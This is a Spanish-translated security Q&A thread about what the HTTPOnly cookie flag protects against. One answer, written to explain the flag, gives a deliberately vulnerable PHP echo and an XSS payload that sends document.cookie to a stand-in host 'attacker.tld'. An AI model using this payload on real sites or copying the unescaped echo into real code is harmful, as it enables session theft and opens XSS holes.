HTTPOnly Cookies: ¿La seguridad depende de la cooperación del cliente?

2

He estado implementando el manejo de sesiones HTTPOnly basado en cookies y tengo algunas preguntas sobre lo que HTTPOnly significa .

Me doy cuenta de que es una bandera que se pasa alrededor del encabezado HTTP al configurar las cookies. También me doy cuenta de que la mayoría de los navegadores se niegan a permitir la modificación de dichas cookies a través de scripts del lado del cliente.

La idea, si la he entendido correctamente, es que Mr Example navega hasta una página comprometida, su navegador IE9 o lo que sea que rechace cualquier intento de robo de cookies del script plantado.

Sin embargo, al ver que la cookie se almacena en el lado del cliente, la marca HTTPOnly real significa poco para alguien determinado, ¿verdad? Si se almacena en el lado del cliente, entonces seguramente el cliente puede encontrar una manera de alterar el contenido fuera de una solicitud HTTP legítima.

Si es así, ¿tengo razón al razonar que HTTPOnly no es para protegerse contra la modificación no HTTP del propio cliente, sino más bien para la modificación a través de scripts maliciosos que se ejecutan en un cliente suficientemente moderno? Es decir, no bloquear la modificación maliciosa de las cookies por parte del cliente per se , pero ¿desconocer las modificaciones específicamente?

    
pregunta Louis Jackman 18.02.2013 - 02:54
fuente

2 respuestas

3

Sí, esa es la definición exacta de una cookie HTTPOnly . Por supuesto, el cliente puede hacer lo que quiera, por lo que esto no es sorprendente. El objetivo es proteger al cliente de los sitios web maliciosos (en lugar de proteger al cliente de sí mismo) .

Esto se ajusta muy bien a una de las Reglas de oro de la programación, con énfasis adicional en el desarrollo del juego: No confíes en el cliente

    
respondido por el scuzzy-delta 18.02.2013 - 03:39
fuente
1

Diga que su sitio web es vulnerable a un ataque XSS:

http://victim.tld/yourPage.php:
Hello <?php echo $_GET['name']; ?>

Un atacante podría crear un iframe en su sitio:

http://attacker.tld/index.php:
<iframe src="http://victim.tld/yourPage.php?name=XSS"display="none">

Y al reemplazar "XSS" (en la url anterior), con:

<script>document.location='http://attacker.tld/cookieStealer.php?c='+document.cookie;</script>

Él (el atacante) podría robar las cookies de sus usuarios (engañando para que visiten attacker.tld).

Para evitar esto, asegúrese siempre de proteger su sitio para las fallas de XSS. Sin embargo, esto puede ser complicado si tiene un montón de código, por lo que una forma de evitar esto es establecer el indicador "httpOnly" en la cookie. En este caso, el código XSS: document.cookie no podrá acceder a la cookie ("advertencia": esto puede, en casos muy raros, romper algún código javascript. Y recuerde que no todos los navegadores son compatibles con httpOnly, así que asegúrese de corregir el problema). Fallas XSS).

    
respondido por el Nicolai 18.02.2013 - 15:11
fuente

Lea otras preguntas en las etiquetas